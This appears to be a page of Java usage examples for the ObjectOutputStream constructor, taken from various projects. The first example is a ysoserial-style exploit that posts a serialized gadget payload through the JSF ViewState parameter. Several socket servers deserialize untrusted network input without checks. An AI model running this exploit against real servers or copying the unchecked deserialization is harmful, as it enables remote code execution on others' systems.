List of usage examples for java.io ObjectOutputStream ObjectOutputStream
public ObjectOutputStream(OutputStream out) throws IOException
From source file:jenkins.security.security218.ysoserial.exploit.JSF.java
public static void main(String[] args) { if (args.length < 3) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>"); System.exit(-1);//from w ww . ja v a 2 s. c o m } final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); try { URL u = new URL(args[0]); URLConnection c = u.openConnection(); if (!(c instanceof HttpURLConnection)) { throw new IllegalArgumentException("Not a HTTP url"); } HttpURLConnection hc = (HttpURLConnection) c; hc.setDoOutput(true); hc.setRequestMethod("POST"); hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); OutputStream os = hc.getOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(payloadObject); oos.close(); byte[] data = bos.toByteArray(); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); } catch (Exception e) { e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); }
From source file:net.java.sen.tools.MkCompoundTable.java
/** * Build compound word table.//from w w w . j a v a 2 s.co m */ public static void main(String args[]) { ResourceBundle rb = ResourceBundle.getBundle("dictionary"); int pos_start = Integer.parseInt(rb.getString("pos_start")); int pos_size = Integer.parseInt(rb.getString("pos_size")); try { log.info("reading compound word information ... "); HashMap compoundTable = new HashMap(); log.info("load dic: " + rb.getString("compound_word_file")); BufferedReader dicStream = new BufferedReader(new InputStreamReader( new FileInputStream(rb.getString("compound_word_file")), rb.getString("dic.charset"))); String t; int line = 0; StringBuffer pos_b = new StringBuffer(); while ((t = dicStream.readLine()) != null) { CSVParser parser = new CSVParser(t); String csv[] = parser.nextTokens(); if (csv.length < (pos_size + pos_start)) { throw new RuntimeException("format error:" + line); } pos_b.setLength(0); for (int i = pos_start; i < (pos_start + pos_size - 1); i++) { pos_b.append(csv[i]); pos_b.append(','); } pos_b.append(csv[pos_start + pos_size - 1]); pos_b.append(','); for (int i = pos_start + pos_size; i < (csv.length - 2); i++) { pos_b.append(csv[i]); pos_b.append(','); } pos_b.append(csv[csv.length - 2]); compoundTable.put(pos_b.toString(), csv[csv.length - 1]); } dicStream.close(); log.info("done."); log.info("writing compound word table ... "); ObjectOutputStream os = new ObjectOutputStream( new FileOutputStream(rb.getString("compound_word_table"))); os.writeObject(compoundTable); os.close(); log.info("done."); } catch (Exception e) { e.printStackTrace(); System.exit(1); } }
From source file:Shape.java
public static void main(String[] args) throws Exception { List shapeTypes, shapes;// w ww . j a va 2 s .c o m if (args.length == 0) { shapeTypes = new ArrayList(); shapes = new ArrayList(); // Add references to the class objects: shapeTypes.add(Circle.class); shapeTypes.add(Square.class); shapeTypes.add(Line.class); // Make some shapes: for (int i = 0; i < 10; i++) shapes.add(Shape.randomFactory()); // Set all the static colors to GREEN: for (int i = 0; i < 10; i++) ((Shape) shapes.get(i)).setColor(Shape.GREEN); // Save the state vector: ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("CADState.out")); out.writeObject(shapeTypes); Line.serializeStaticState(out); out.writeObject(shapes); } else { // There's a command-line argument ObjectInputStream in = new ObjectInputStream(new FileInputStream(args[0])); // Read in the same order they were written: shapeTypes = (List) in.readObject(); Line.deserializeStaticState(in); shapes = (List) in.readObject(); } // Display the shapes: System.out.println(shapes); }
From source file:ComplexCompany.java
public static void main(String args[]) throws Exception { Socket socket1;/* w ww. java 2 s . c om*/ int portNumber = 1777; String str = ""; socket1 = new Socket(InetAddress.getLocalHost(), portNumber); ObjectInputStream ois = new ObjectInputStream(socket1.getInputStream()); ObjectOutputStream oos = new ObjectOutputStream(socket1.getOutputStream()); ComplexCompany comp = new ComplexCompany("A"); ComplexEmployee emp0 = new ComplexEmployee("B", 1000); comp.addPresident(emp0); ComplexDepartment sales = new ComplexDepartment("C"); ComplexEmployee emp1 = new ComplexEmployee("D", 1200); sales.addManager(emp1); comp.addDepartment(sales); ComplexDepartment accounting = new ComplexDepartment("E"); ComplexEmployee emp2 = new ComplexEmployee("F", 1230); accounting.addManager(emp2); comp.addDepartment(accounting); ComplexDepartment maintenance = new ComplexDepartment("Maintenance"); ComplexEmployee emp3 = new ComplexEmployee("Greg Hladlick", 1020); maintenance.addManager(emp3); comp.addDepartment(maintenance); oos.writeObject(comp); while ((str = (String) ois.readObject()) != null) { System.out.println(str); oos.writeObject("bye"); if (str.equals("bye")) break; } ois.close(); oos.close(); socket1.close(); }
From source file:com.textocat.textokit.morph.opencorpora.resource.XmlDictionaryPSP.java
public static void main(String[] args) throws Exception { XmlDictionaryPSP cfg = new XmlDictionaryPSP(); new JCommander(cfg, args); MorphDictionaryImpl dict = new MorphDictionaryImpl(); DictionaryExtension ext = cfg.dictExtensionClass.newInstance(); FileInputStream fis = FileUtils.openInputStream(cfg.dictXmlFile); try {//from w w w. ja v a 2 s. c o m new XmlDictionaryParser(dict, ext, fis).run(); } finally { IOUtils.closeQuietly(fis); } System.out.println("Preparing to serialization..."); long timeBefore = currentTimeMillis(); OutputStream fout = new BufferedOutputStream(FileUtils.openOutputStream(cfg.outputJarFile), 8192 * 8); Manifest manifest = new Manifest(); manifest.getMainAttributes().putValue(Attributes.Name.MANIFEST_VERSION.toString(), "1.0"); manifest.getMainAttributes().putValue(OpencorporaMorphDictionaryAPI.ME_OPENCORPORA_DICTIONARY_VERSION, dict.getVersion()); manifest.getMainAttributes().putValue(OpencorporaMorphDictionaryAPI.ME_OPENCORPORA_DICTIONARY_REVISION, dict.getRevision()); manifest.getMainAttributes().putValue(OpencorporaMorphDictionaryAPI.ME_OPENCORPORA_DICTIONARY_VARIANT, cfg.variant); String dictEntryName = String.format( OpencorporaMorphDictionaryAPI.FILENAME_PATTERN_OPENCORPORA_SERIALIZED_DICT, dict.getVersion(), dict.getRevision(), cfg.variant); JarOutputStream jarOut = new JarOutputStream(fout, manifest); jarOut.putNextEntry(new ZipEntry(dictEntryName)); ObjectOutputStream serOut = new ObjectOutputStream(jarOut); try { serOut.writeObject(dict.getGramModel()); serOut.writeObject(dict); } finally { serOut.flush(); jarOut.closeEntry(); serOut.close(); } System.out.println(String.format("Serialization finished in %s ms.\nOutput size: %s bytes", currentTimeMillis() - timeBefore, cfg.outputJarFile.length())); }
From source file:com.linkedin.sample.Main.java
public static void main(String[] args) { /*//from w w w . j av a 2s .co m we need a OAuthService to handle authentication and the subsequent calls. Since we are going to use the REST APIs we need to generate a request token as the first step in the call. Once we get an access toke we can continue to use that until the API key changes or auth is revoked. Therefore, to make this sample easier to re-use we serialize the AuthHandler (which stores the access token) to disk and then reuse it. When you first run this code please insure that you fill in the API_KEY and API_SECRET above with your own credentials and if there is a service.dat file in the code please delete it. */ //The Access Token is used in all Data calls to the APIs - it basically says our application has been given access //to the approved information in LinkedIn Token accessToken = null; //Using the Scribe library we enter the information needed to begin the chain of Oauth2 calls. OAuthService service = new ServiceBuilder().provider(LinkedInApi.class).apiKey(API_KEY) .apiSecret(API_SECRET).build(); /************************************* * This first piece of code handles all the pieces needed to be granted access to make a data call */ try { File file = new File("service.dat"); if (file.exists()) { //if the file exists we assume it has the AuthHandler in it - which in turn contains the Access Token ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(file)); AuthHandler authHandler = (AuthHandler) inputStream.readObject(); accessToken = authHandler.getAccessToken(); } else { System.out.println("There is no stored Access token we need to make one"); //In the constructor the AuthHandler goes through the chain of calls to create an Access Token AuthHandler authHandler = new AuthHandler(service); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("service.dat")); outputStream.writeObject(authHandler); outputStream.close(); accessToken = authHandler.getAccessToken(); } } catch (Exception e) { System.out.println("Threw an exception when serializing: " + e.getClass() + " :: " + e.getMessage()); } /* * We are all done getting access - time to get busy getting data *************************************/ /************************** * * Querying the LinkedIn API * **************************/ System.out.println(); System.out.println("********A basic user profile call********"); //The ~ means yourself - so this should return the basic default information for your profile in XML format //https://developer.linkedin.com/documents/profile-api String url = "http://api.linkedin.com/v1/people/~"; OAuthRequest request = new OAuthRequest(Verb.GET, url); service.signRequest(accessToken, request); Response response = request.send(); System.out.println(response.getBody()); System.out.println(); System.out.println(); System.out.println("********Get the profile in JSON********"); //This basic call profile in JSON format //You can read more about JSON here http://json.org url = "http://api.linkedin.com/v1/people/~"; request = new OAuthRequest(Verb.GET, url); request.addHeader("x-li-format", "json"); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getBody()); System.out.println(); System.out.println(); System.out.println("********Get the profile in JSON using query parameter********"); //This basic call profile in JSON format. Please note the call above is the preferred method. //You can read more about JSON here http://json.org url = "http://api.linkedin.com/v1/people/~"; request = new OAuthRequest(Verb.GET, url); request.addQuerystringParameter("format", "json"); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getBody()); System.out.println(); System.out.println(); System.out.println("********Get my connections - going into a resource********"); //This basic call gets all your connections each one will be in a person tag with some profile information //https://developer.linkedin.com/documents/connections-api url = "http://api.linkedin.com/v1/people/~/connections"; request = new OAuthRequest(Verb.GET, url); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getBody()); System.out.println(); System.out.println(); System.out.println("********Get only 10 connections - using parameters********"); //This basic call gets only 10 connections - each one will be in a person tag with some profile information //https://developer.linkedin.com/documents/connections-api //more basic about query strings in a URL here http://en.wikipedia.org/wiki/Query_string url = "http://api.linkedin.com/v1/people/~/connections"; request = new OAuthRequest(Verb.GET, url); request.addQuerystringParameter("count", "10"); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getBody()); System.out.println(); System.out.println(); System.out.println("********GET network updates that are CONN and SHAR********"); //This basic call get connection updates from your connections //https://developer.linkedin.com/documents/get-network-updates-and-statistics-api //specifics on updates https://developer.linkedin.com/documents/network-update-types url = "http://api.linkedin.com/v1/people/~/network/updates"; request = new OAuthRequest(Verb.GET, url); request.addQuerystringParameter("type", "SHAR"); request.addQuerystringParameter("type", "CONN"); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getBody()); System.out.println(); System.out.println(); System.out.println("********People Search using facets and Encoding input parameters i.e. UTF8********"); //This basic call get connection updates from your connections //https://developer.linkedin.com/documents/people-search-api#Facets //Why doesn't this look like //people-search?title=developer&location=fr&industry=4 //url = "http://api.linkedin.com/v1/people-search?title=D%C3%A9veloppeur&facets=location,industry&facet=location,fr,0"; url = "http://api.linkedin.com/v1/people-search:(people:(first-name,last-name,headline),facets:(code,buckets))"; request = new OAuthRequest(Verb.GET, url); request.addQuerystringParameter("title", "Dveloppeur"); request.addQuerystringParameter("facet", "industry,4"); request.addQuerystringParameter("facets", "location,industry"); System.out.println(request.getUrl()); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getBody()); System.out.println(); System.out.println(); /////////////////field selectors System.out.println("********A basic user profile call with field selectors********"); //The ~ means yourself - so this should return the basic default information for your profile in XML format //https://developer.linkedin.com/documents/field-selectors url = "http://api.linkedin.com/v1/people/~:(first-name,last-name,positions)"; request = new OAuthRequest(Verb.GET, url); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getHeaders().toString()); System.out.println(response.getBody()); System.out.println(); System.out.println(); System.out .println("********A basic user profile call with field selectors going into a subresource********"); //The ~ means yourself - so this should return the basic default information for your profile in XML format //https://developer.linkedin.com/documents/field-selectors url = "http://api.linkedin.com/v1/people/~:(first-name,last-name,positions:(company:(name)))"; request = new OAuthRequest(Verb.GET, url); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getHeaders().toString()); System.out.println(response.getBody()); System.out.println(); System.out.println(); System.out.println("********A basic user profile call into a subresource return data in JSON********"); //The ~ means yourself - so this should return the basic default information for your profile //https://developer.linkedin.com/documents/field-selectors url = "https://api.linkedin.com/v1/people/~/connections:(first-name,last-name,headline)?format=json"; request = new OAuthRequest(Verb.GET, url); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getHeaders().toString()); System.out.println(response.getBody()); System.out.println(); System.out.println(); System.out.println("********A more complicated example using postings into groups********"); //https://developer.linkedin.com/documents/field-selectors //https://developer.linkedin.com/documents/groups-api url = "http://api.linkedin.com/v1/groups/3297124/posts:(id,category,creator:(id,first-name,last-name),title,summary,creation-timestamp,site-group-post-url,comments,likes)"; request = new OAuthRequest(Verb.GET, url); service.signRequest(accessToken, request); response = request.send(); System.out.println(response.getHeaders().toString()); System.out.println(response.getBody()); System.out.println(); System.out.println(); /************************** * * Wrting to the LinkedIn API * **************************/ /* * Commented out so we don't write into your LinkedIn/Twitter feed while you are just testing out * some code. Uncomment if you'd like to see writes in action. * * System.out.println("********Write to the share - using XML********"); //This basic shares some basic information on the users activity stream //https://developer.linkedin.com/documents/share-api url = "http://api.linkedin.com/v1/people/~/shares"; request = new OAuthRequest(Verb.POST, url); request.addHeader("Content-Type", "text/xml"); //Make an XML document Document doc = DocumentHelper.createDocument(); Element share = doc.addElement("share"); share.addElement("comment").addText("Guess who is testing the LinkedIn REST APIs"); Element content = share.addElement("content"); content.addElement("title").addText("A title for your share"); content.addElement("submitted-url").addText("http://developer.linkedin.com"); share.addElement("visibility").addElement("code").addText("anyone"); request.addPayload(doc.asXML()); service.signRequest(accessToken, request); response = request.send(); //there is no body just a header System.out.println(response.getBody()); System.out.println(response.getHeaders().toString()); System.out.println();System.out.println(); System.out.println("********Write to the share and to Twitter - using XML********"); //This basic shares some basic information on the users activity stream //https://developer.linkedin.com/documents/share-api url = "http://api.linkedin.com/v1/people/~/shares"; request = new OAuthRequest(Verb.POST, url); request.addQuerystringParameter("twitter-post","true"); request.addHeader("Content-Type", "text/xml"); //Make an XML document doc = DocumentHelper.createDocument(); share = doc.addElement("share"); share.addElement("comment").addText("Guess who is testing the LinkedIn REST APIs and sending to twitter"); content = share.addElement("content"); content.addElement("title").addText("A title for your share"); content.addElement("submitted-url").addText("http://developer.linkedin.com"); share.addElement("visibility").addElement("code").addText("anyone"); request.addPayload(doc.asXML()); service.signRequest(accessToken, request); response = request.send(); //there is no body just a header System.out.println(response.getBody()); System.out.println(response.getHeaders().toString()); System.out.println();System.out.println(); System.out.println("********Write to the share and to twitter - using JSON ********"); //This basic shares some basic information on the users activity stream //https://developer.linkedin.com/documents/share-api //NOTE - a good troubleshooting step is to validate your JSON on jsonlint.org url = "http://api.linkedin.com/v1/people/~/shares"; request = new OAuthRequest(Verb.POST, url); //set the headers to the server knows what we are sending request.addHeader("Content-Type", "application/json"); request.addHeader("x-li-format", "json"); //make the json payload using json-simple Map<String, Object> jsonMap = new HashMap<String, Object>(); jsonMap.put("comment", "Posting from the API using JSON"); JSONObject contentObject = new JSONObject(); contentObject.put("title", "This is a another test post"); contentObject.put("submitted-url","http://www.linkedin.com"); contentObject.put("submitted-image-url", "http://press.linkedin.com/sites/all/themes/presslinkedin/images/LinkedIn_WebLogo_LowResExample.jpg"); jsonMap.put("content", contentObject); JSONObject visibilityObject = new JSONObject(); visibilityObject.put("code", "anyone"); jsonMap.put("visibility", visibilityObject); request.addPayload(JSONValue.toJSONString(jsonMap)); service.signRequest(accessToken, request); response = request.send(); //again no body - just headers System.out.println(response.getBody()); System.out.println(response.getHeaders().toString()); System.out.println();System.out.println(); */ /************************** * * Understanding the response, creating logging, request and response headers * **************************/ System.out.println(); System.out.println("********A basic user profile call and response dissected********"); //This sample is mostly to help you debug and understand some of the scaffolding around the request-response cycle //https://developer.linkedin.com/documents/debugging-api-calls url = "https://api.linkedin.com/v1/people/~"; request = new OAuthRequest(Verb.GET, url); service.signRequest(accessToken, request); response = request.send(); //get all the headers System.out.println("Request headers: " + request.getHeaders().toString()); System.out.println("Response headers: " + response.getHeaders().toString()); //url requested System.out.println("Original location is: " + request.getHeaders().get("content-location")); //Date of response System.out.println("The datetime of the response is: " + response.getHeader("Date")); //the format of the response System.out.println("Format is: " + response.getHeader("x-li-format")); //Content-type of the response System.out.println("Content type is: " + response.getHeader("Content-Type") + "\n\n"); //get the HTTP response code - such as 200 or 404 int responseNumber = response.getCode(); if (responseNumber >= 199 && responseNumber < 300) { System.out.println("HOORAY IT WORKED!!"); System.out.println(response.getBody()); } else if (responseNumber >= 500 && responseNumber < 600) { //you could actually raise an exception here in your own code System.out.println("Ruh Roh application error of type 500: " + responseNumber); System.out.println(response.getBody()); } else if (responseNumber == 403) { System.out.println("A 403 was returned which usually means you have reached a throttle limit"); } else if (responseNumber == 401) { System.out.println("A 401 was returned which is a Oauth signature error"); System.out.println(response.getBody()); } else if (responseNumber == 405) { System.out.println( "A 405 response was received. Usually this means you used the wrong HTTP method (GET when you should POST, etc)."); } else { System.out.println("We got a different response that we should add to the list: " + responseNumber + " and report it in the forums"); System.out.println(response.getBody()); } System.out.println(); System.out.println(); System.out.println("********A basic error logging function********"); // Now demonstrate how to make a logging function which provides us the info we need to // properly help debug issues. Please use the logged block from here when requesting // help in the forums. url = "https://api.linkedin.com/v1/people/FOOBARBAZ"; request = new OAuthRequest(Verb.GET, url); service.signRequest(accessToken, request); response = request.send(); responseNumber = response.getCode(); if (responseNumber < 200 || responseNumber >= 300) { logDiagnostics(request, response); } else { System.out.println("You were supposed to submit a bad request"); } System.out.println("******Finished******"); }
From source file:com.openteach.diamond.network.waverider.command.Command.java
public static void main(String[] args) { ByteArrayOutputStream bout = null; ObjectOutputStream objOutputStream = null; try {/*from w w w . jav a 2 s. c o m*/ bout = new ByteArrayOutputStream(); objOutputStream = new ObjectOutputStream(bout); SlaveState slaveState = new SlaveState(); slaveState.setId(1L); slaveState.setIsMasterCandidate(false); objOutputStream.writeObject(slaveState); objOutputStream.flush(); Command command = CommandFactory.createHeartbeatCommand(ByteBuffer.wrap(bout.toByteArray())); ByteBuffer buffer = command.marshall(); Command cmd = Command.unmarshall(buffer); SlaveState ss = SlaveState.fromByteBuffer(cmd.getPayLoad()); System.out.println(cmd.toString()); } catch (IOException e) { throw new RuntimeException(e); } finally { try { if (objOutputStream != null) { objOutputStream.close(); } if (bout != null) { bout.close(); } } catch (IOException e) { e.printStackTrace(); } } }
From source file:Cache.Servidor.java
public static void main(String[] args) throws IOException, ClassNotFoundException { // Se calcula el tamao de las particiones del cache // de manera que la relacin sea // 25% Esttico y 75% Dinmico, // siendo la porcin dinmica particionada en 3 partes. Lector l = new Lector(); // Obtener tamao total del cache. int tamCache = l.leerTamCache("config.txt"); //=================================== int tamCaches = 0; if (tamCache % 4 == 0) { // Asegura que el nro sea divisible por 4. tamCaches = tamCache / 4;/*w w w . j av a 2 s. c o m*/ } else { // Si no, suma para que lo sea. tamCaches = (tamCache - (tamCache) % 4 + 4) / 4; } // y divide por 4. System.out.println("Tamao total Cache: " + (int) tamCache); // imprimir tamao cache. System.out.println("Tamao particiones y parte esttica: " + tamCaches); // imprimir tamao particiones. //=================================== lru_cache1 = new LRUCache(tamCaches); //Instanciar atributos. lru_cache2 = new LRUCache(tamCaches); lru_cache3 = new LRUCache(tamCaches); cestatico = new CacheEstatico(tamCaches); cestatico.addEntryToCache("query3", "respuesta cacheEstatico a query 3"); cestatico.addEntryToCache("query7", "respuesta cacheEstatico a query 7"); try { ServerSocket servidor = new ServerSocket(4500); // Crear un servidor en pausa hasta que un cliente llegue. while (true) { Socket clienteNuevo = servidor.accept();// Si llega se acepta. // Queda en pausa otra vez hasta que un objeto llegue. ObjectInputStream entrada = new ObjectInputStream(clienteNuevo.getInputStream()); System.out.println("Objeto llego"); //=================================== Cache1 hilox1 = new Cache1(); // Instanciar hebras. Cache2 hilox2 = new Cache2(); Cache3 hilox3 = new Cache3(); // Leer el objeto, es un String. JSONObject request = (JSONObject) entrada.readObject(); String b = (String) request.get("busqueda"); //*************************Actualizar CACHE************************************** int actualizar = (int) request.get("actualizacion"); // Si vienen el objeto que llego viene del Index es que va a actualizar el cache if (actualizar == 1) { int lleno = cestatico.lleno(); if (lleno == 0) { cestatico.addEntryToCache((String) request.get("busqueda"), (String) request.get("respuesta")); } else { // si el cache estatico esta lleno //agrego l cache dinamico if (hash(b) % 3 == 0) { lru_cache1.addEntryToCache((String) request.get("busqueda"), (String) request.get("respuesta")); } else { if (hash(b) % 3 == 1) { lru_cache2.addEntryToCache((String) request.get("busqueda"), (String) request.get("respuesta")); } else { lru_cache3.addEntryToCache((String) request.get("busqueda"), (String) request.get("respuesta")); } } } } //*************************************************************** else { // Para cada request del arreglo se distribuye // en Cache 1 2 o 3 segn su hash. JSONObject respuesta = new JSONObject(); if (hash(b) % 3 == 0) { respuesta = hilox1.fn(request); //Y corre la funcin de una hebra. } else { if (hash(b) % 3 == 1) { respuesta = hilox2.fn(request); } else { respuesta = hilox3.fn(request); } } //RESPONDER DESDE EL SERVIDOR ObjectOutputStream resp = new ObjectOutputStream(clienteNuevo.getOutputStream());// obtengo el output del cliente para mandarle un msj resp.writeObject(respuesta); System.out.println("msj enviado desde el servidor"); //clienteNuevo.close(); //servidor.close(); } } } catch (IOException ex) { Logger.getLogger(Servidor.class.getName()).log(Level.SEVERE, null, ex); } }
From source file:guardar.en.base.de.datos.MainServidor.java
public static void main(String[] args) throws ParserConfigurationException, SAXException, IOException, ClassNotFoundException { Mongo mongo = new Mongo("localhost", 27017); // nombre de la base de datos DB database = mongo.getDB("paginas"); // coleccion de la db DBCollection collection = database.getCollection("indice"); DBCollection collection_textos = database.getCollection("tabla"); ArrayList<String> lista_textos = new ArrayList(); try {/*ww w. j a v a2s . c o m*/ ServerSocket servidor = new ServerSocket(4545); // Crear un servidor en pausa hasta que un cliente llegue. while (true) { String aux = new String(); lista_textos.clear(); Socket clienteNuevo = servidor.accept();// Si llega se acepta. // Queda en pausa otra vez hasta que un objeto llegue. ObjectInputStream entrada = new ObjectInputStream(clienteNuevo.getInputStream()); JSONObject request = (JSONObject) entrada.readObject(); String b = (String) request.get("id"); //hacer una query a la base de datos con la palabra que se quiere obtener BasicDBObject query = new BasicDBObject("palabra", b); DBCursor cursor = collection.find(query); ArrayList<DocumentosDB> lista_doc = new ArrayList<>(); // de la query tomo el campo documentos y los agrego a una lista try { while (cursor.hasNext()) { //System.out.println(cursor.next()); BasicDBList campo_documentos = (BasicDBList) cursor.next().get("documentos"); // en el for voy tomando uno por uno los elementos en el campo documentos for (Iterator<Object> it = campo_documentos.iterator(); it.hasNext();) { BasicDBObject dbo = (BasicDBObject) it.next(); //DOC tiene id y frecuencia DocumentosDB doc = new DocumentosDB(); doc.makefn2(dbo); //int id = (int)doc.getId_documento(); //int f = (int)doc.getFrecuencia(); lista_doc.add(doc); //******************************************* //******************************************** //QUERY A LA COLECCION DE TEXTOS /* BasicDBObject query_textos = new BasicDBObject("id", doc.getId_documento());//query DBCursor cursor_textos = collection_textos.find(query_textos); try { while (cursor_textos.hasNext()) { DBObject obj = cursor_textos.next(); String titulo = (String) obj.get("titulo"); titulo = titulo + "\n\n"; String texto = (String) obj.get("texto"); String texto_final = titulo + texto; aux = texto_final; lista_textos.add(texto_final); } } finally { cursor_textos.close(); }*/ //System.out.println(doc.getId_documento()); //System.out.println(doc.getFrecuencia()); } // end for } //end while query } finally { cursor.close(); } // ordeno la lista de menor a mayor Collections.sort(lista_doc, new Comparator<DocumentosDB>() { @Override public int compare(DocumentosDB o1, DocumentosDB o2) { //throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. return o1.getFrecuencia().compareTo(o2.getFrecuencia()); } }); int tam = lista_doc.size() - 1; for (int j = tam; j >= 0; j--) { BasicDBObject query_textos = new BasicDBObject("id", (int) lista_doc.get(j).getId_documento().intValue());//query DBCursor cursor_textos = collection_textos.find(query_textos);// lo busco try { while (cursor_textos.hasNext()) { DBObject obj = cursor_textos.next(); String titulo = "*******************************"; titulo += (String) obj.get("titulo"); int f = (int) lista_doc.get(j).getFrecuencia().intValue(); String strinf = Integer.toString(f); titulo += "******************************* frecuencia:" + strinf; titulo = titulo + "\n\n"; String texto = (String) obj.get("texto"); String texto_final = titulo + texto + "\n\n"; aux = aux + texto_final; //lista_textos.add(texto_final); } } finally { cursor_textos.close(); } } //actualizar el cache try { Socket cliente_cache = new Socket("localhost", 4500); // nos conectamos con el servidor ObjectOutputStream mensaje_cache = new ObjectOutputStream(cliente_cache.getOutputStream()); // get al output del servidor, que es cliente : socket del cliente q se conecto al server JSONObject actualizacion_cache = new JSONObject(); actualizacion_cache.put("actualizacion", 1); actualizacion_cache.put("busqueda", b); actualizacion_cache.put("respuesta", aux); mensaje_cache.writeObject(actualizacion_cache); // envio el msj al servidor } catch (Exception ex) { } //RESPONDER DESDE EL SERVIDORIndex al FRONT ObjectOutputStream resp = new ObjectOutputStream(clienteNuevo.getOutputStream());// obtengo el output del cliente para mandarle un msj resp.writeObject(aux); System.out.println("msj enviado desde el servidor"); } } catch (IOException ex) { Logger.getLogger(MainServidor.class.getName()).log(Level.SEVERE, null, ex); } }
From source file:edu.ucla.cs.scai.swim.qa.ontology.dbpedia.tipicality.DbpediaCategoryAttributeCounts.java
public static void main(String args[]) throws FileNotFoundException, IOException { stopAttributes.add("http://www.w3.org/1999/02/22-rdf-syntax-ns#type"); stopAttributes.add("http://www.w3.org/2002/07/owl#sameAs"); stopAttributes.add("http://dbpedia.org/ontology/wikiPageRevisionID"); stopAttributes.add("http://dbpedia.org/ontology/wikiPageID"); stopAttributes.add("http://purl.org/dc/elements/1.1/description"); stopAttributes.add("http://dbpedia.org/ontology/thumbnail"); //stopAttributes.add("http://dbpedia.org/ontology/type"); String path = DBpediaOntology.DBPEDIA_CSV_FOLDER; if (args != null && args.length > 0) { path = args[0];//from w w w. j a v a 2 s. co m if (!path.endsWith("/")) { path = path + "/"; } } File folder = new File(path); if (!folder.exists()) { System.out.println("The path with DBpedia CSV files is set as " + path); System.out.println("You need to change the path with the correct one on your PC"); System.exit(0); } for (File f : new File(path).listFiles()) { if (f.isFile() && f.getName().endsWith(".csv.gz")) { System.out.println("Processing file " + f.getName() + "..."); processFile(f, f.getName().replaceAll("\\.csv.gz", "")); } } System.out.println(entities.size() + " entities processed"); System.out.println(categories.size() + " categories found"); System.out.println(attributes.size() + " attributes found"); try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(path + "counts.bin"))) { oos.writeObject(categories); oos.writeObject(attributes); oos.writeObject(categoryCount); oos.writeObject(attributeCount); oos.writeObject(categoryAttributeCount); oos.writeObject(attributeCategoryCount); } }